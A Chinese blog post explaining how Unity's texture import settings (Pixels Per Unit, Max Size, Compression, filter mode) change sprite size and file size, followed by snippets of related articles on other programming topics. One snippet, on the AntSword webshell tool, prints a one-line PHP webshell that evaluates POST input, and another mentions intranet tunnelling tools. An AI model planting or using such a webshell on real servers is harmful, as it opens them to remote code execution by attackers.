Unity导入图片时,通过设置属性快速实现资源的压缩

news2024/9/19 10:43:53

是在学习tilemap绘制世界地图的时候发现的这个功能。

之前一直只是粗略的知道这部分是对应图片资源的压缩的。比如Compression是指的压缩质量,想要完全不压缩就设置None,会导致图片资源会大一些。

在我的例子工程中,其他图片资源的尺寸都是64x64,在tilemap的调色板中放入是没有任何异常的。但是这个作为瀑布的图片,原图尺寸是640x256,如果按照64比例会生成10*4的图:

但是从图片细节上来看,并不需要切割成这么小的方块。所以,切割时对64x64等比例放大,成为128x128,这样,既能不缺少更多细节,又不至于切割的过于零碎,不好使用。

当然,还可以继续放大。但是如果继续放大,纵方向是256个像素,就无法区分瀑布底部和瀑布上面,不利于扩展使用。

由此,我得到了10张128x128的图片;0-4张可以形成瀑布上方的动画;5-10可以形成瀑布下方的动画。

但是将这个作为Tile之后,我发现,这个Tile和其他的tile之间,如果同时放入调色盘中,会有明显的不适,因为该tile会比其他的tile大了一圈,如图所示:

 一个解决方法是,专门为这个tile创建一个单独的调色板,设置对应的尺寸,这样就能够正常使用了。

但是查看示例工程,将64x64的tile和这个128x128的tile,放到一个调色板,看着没有任何的违和感。

原因是瀑布图切割成128x128,但是有一个Pixels Per Unit,其他图设置为64,表示一个单元格渲染64像素,将这个128x128的Pixels Per Unit设置成128,就表示对于这一张图,一个单元大小的格子,渲染这张图片时渲染128个像素,最终效果就是如上图所示,虽然是同样的格子,原图尺寸不一样,但是对于我们逻辑上来说,都是一个格子。在项目工程中是统一的。

通过Pixels Per Unit,就能够把不同分辨率的图,通过设置每单位像素数,令其在逻辑上大小一致,最终效果如图所示:

一开始以为是压缩导致,以下是在调查这个问题的时候,发现的关于素材压缩的一些配置。之前对于压缩设置只是有个概念,没有具体研究其影响。

查看发现,这个128x128的sprite,在示例工程中实际是51x51。

 那么这个51x51是怎么来的?我们明明知道png素材的尺寸是640x256。

为什么不使用64x64,而是51x51?

如图所示。设置了“Max Size” = 256.

这个是设置了图片导入工程后,对图片进行怎样的一个压缩处理:

设置max size为256后,原本640x256的图片,就会被等比例缩小为256x(256/640*256),也就是256x102.4.

这个时候,虽然我们进入sprite editer中,切图还是按照640x256进行切割的,但是我们最终得到的可供工程所使用的“Sprite”素材,已经变成了128 * (256/640) = 51.2。

所以,这就是我们的sprite的最终尺寸了。

这个地方,实际上并不是设置sprite素材的属性,而是导入图片后,对素材做怎样的压缩处理,甚至其大小也会做对应的变化。

如:

设置了maxsize= 256后,图片的尺寸为256x102,大小为76.5KB。

如果设置的maxsize高于原图的最长宽或者高,那么图片尺寸为原图尺寸

640x256,并且大小也会做相应的变化,成为80.0KB . 

如果再次基础上,我们修改Compression属性,也就是修改压缩程度:

比如选择“High Quality”,可以看到,图片的颜色格式也变成了RGBA,多了一个alpha通道,并且,图片大小变成了160.0KB 。

 之前虽然知道这个地方是设置图片导入工程后的压缩算法的,但是没有这么直观的感受到。原来这里的修改是会直接影响到后面所有的使用者。

当然,不要忘记那个filter mode,设置为point(no filter)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/856572.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

服务器数据恢复-RAID5上层Hyper-V虚拟机数据恢复案例

服务器数据恢复环境: 一台Windows Server服务器,部署Hyper-V虚拟化环境,虚拟机的硬盘文件和配置文件存放在一台DELL存储中。该存储中有一组由4块硬盘组建的RAID5阵列,用来存放虚拟机的数据文件,另外还有一块大容量硬盘…

Centos7.6 安装mysql过程全记录

在centos 7.6上 离线安装mysql 的步骤,可参考下文: 一、查看当前MySQL的安装情况并卸载 1. 查看当前MySQL的安装情况 查找之前是否安装了MySQL rpm -qa|grep -i mysql 2.卸载mysql 如果已经安装mysql,则需要先停止MySQL,再删除…

基于springboot+vue的幼儿园管理系统的设计与实现_5umt6

随着世界经济信息化、全球网络化的到来推动信息线上管理的飞速发展,为幼儿园行业的改革起到关键作用。若想达到安全,快捷的目的,就需要拥有信息化的组织和管理模式,建立一套合理、畅通、高效的幼儿园管理系统。当前的幼儿园管理系…

【JAVA】继承

作者主页:paper jie的博客 本文作者:大家好,我是paper jie,感谢你阅读本文,欢迎一建三连哦。 本文录入于《JAVASE语法系列》专栏,本专栏是针对于大学生,编程小白精心打造的。笔者用重金(时间和精…

vue3官网文档学习、复习笔记(快速上手)

目录 2.Attribute 绑定(v-bind) 3.事件监听(v-on) 4.表单绑定(v-model) 5.条件渲染(v-if) 6.列表渲染(v-for) all.value all.value.filter(…

[C++]类与对象(下) -- 初始化列表 -- static成员 -- 友元 -- 内部类,一篇带你深度了解。

目录 1、再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.2.1 初始化列表的意义 1.3 explicit关键字 2、static成员 2.1 问题引入 2.2 特性 3、友元 3.1 友元函数 3.2 友元类 4、内部类 1、再谈构造函数 1.1 构造函数体赋值 在创建对象时,编译器通…

改进的麻雀算法优化最大相关峭度解卷积(SCSSA-MCKD),实现早期微弱故障诊断,MATLAB代码实现

01 引言 由于一些设备的早期故障产生的冲击十分微弱,易被系统噪声干扰,如何有效地对设备的原始故障信号进行降噪并增强信号中微弱冲击成分,是进行该类部件早期故障诊断的关键。 最大相关峭度解卷积(MCKD)通过解卷积运算…

干翻Dubbo系列第九篇:Dubbo体系中序列化详解

文章目录 文章说明 一:序列化概念 1:概念 2:Dubbo中序列化方式 二:Kyro序列化方案 1:引入依赖 2:XML的配置方式 3:Boot的方式 4:Consumer端调用 三:FST序列化方…

JVM 调优实例

点击下方关注我,然后右上角点击...“设为星标”,就能第一时间收到更新推送啦~~~ JVM提供了多种垃圾回收器,可以根据应用程序的需求选择最适合的垃圾回收器。例如,如果应用程序需要更快的响应时间,可以选择并行垃圾回收…

GIS在地质灾害危险性评估与灾后重建中的应用教程

详情点击链接:GIS在地质灾害危险性评估与灾后重建中的实践技术应用 前言 地质灾害是指全球地壳自然地质演化过程中,由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。由于降水、地震等自然作用下,地质…

【JavaSE】接口的语法知识和使用方法总结

目录 1. 接口的概念 2. 语法规则 3. 接口特性 4. 接口使用 5. 实现多个接口 6. 接口间的继承 1. 接口的概念 在现实生活中,接口的例子比比皆是,比如:笔记本上的USB口,电源插座等。 电脑的USB口上,可以插&#x…

Unity游戏源码分享-仿开心消消乐Match3Jewel

Unity游戏源码分享-仿开心消消乐Match3Jewel 工程地址: https://download.csdn.net/download/Highning0007/88198762

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

为什么要使用融合CDN,单CDN与多CDN之间的差异对比

CDN是现代互联网服务的重要组成部分&#xff0c;它CDN可帮助内容提供者高速交付内容&#xff0c;不同的服务器部署在全球不同的数据中心&#xff0c;并在它们之间共享相同的网络路径。随着企业意识到CDN的重要性&#xff0c;越来越多的企业正在使用CDN作为内容分发工具。互联网…

RocketMQ发送消息失败:error CODE: 14 DESC: service not available now, maybe disk full

在执行业务时&#xff0c;发现MQ控制台没有查询到消息&#xff0c;在日志中发现消息发送失败&#xff0c;报错error CODE: 14 DESC: service not available now, maybe disk full 分析报错应该是磁盘空间不足&#xff0c;导致broker不能进行正常的消息存储刷盘&#xff0c;去查…

Java中数组分析

Java中数组分析 先进行专栏介绍 数组声明和初始化一个数组方法一&#xff1a;声明数组并分配空间&#xff1a;可以使用以下语法声明一个数组&#xff0c;并指定数组的长度。举例 方法二&#xff1a;声明数组并初始化元素&#xff1a;可以在声明数组时&#xff0c;同时为数组的元…

HOperatorSet.OpenFramegrabber “GigEVision“

HOperatorSet.OpenFramegrabber "GigEVision"访问失败 直接跳出 但其他算子可以访问 重装halcon x86

内网隧道—HTTP\DNS\ICMP

本文仅限于安全研究和学习&#xff0c;用户承担因使用此工具而导致的所有法律和相关责任&#xff01; 作者不承担任何法律和相关责任&#xff01; HTTP隧道 Neo-reGeorg Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目&#xff0c;目的是&#xff1a; 提高可用性&#xff0…

量化交易可视化(7)-散点图

散点图的含义 散点图是一种用于观察两个变量之间关系的图表类型。它通过在坐标轴上绘制数据点来展示变量之间的关联程度。每个数据点代表一个观测值&#xff0c;其中横轴表示一个变量的值&#xff0c;纵轴表示另一个变量的值。 散点图的绘制方法 matplotlib.pyplot.scatter(…

Java:企业级java后端开发,需要掌握哪些内容

一、什么是后端开发 后端开发是指开发基于服务器端的软件应用程序&#xff0c;也称为系统的后台或服务器端编程。 后端程序员负责处理网站或应用程序后台的逻辑和功能&#xff0c;包括数据库管理、服务器端脚本编写、API设计、数据安全性、网站性能优化等。 后端开发技术通常包…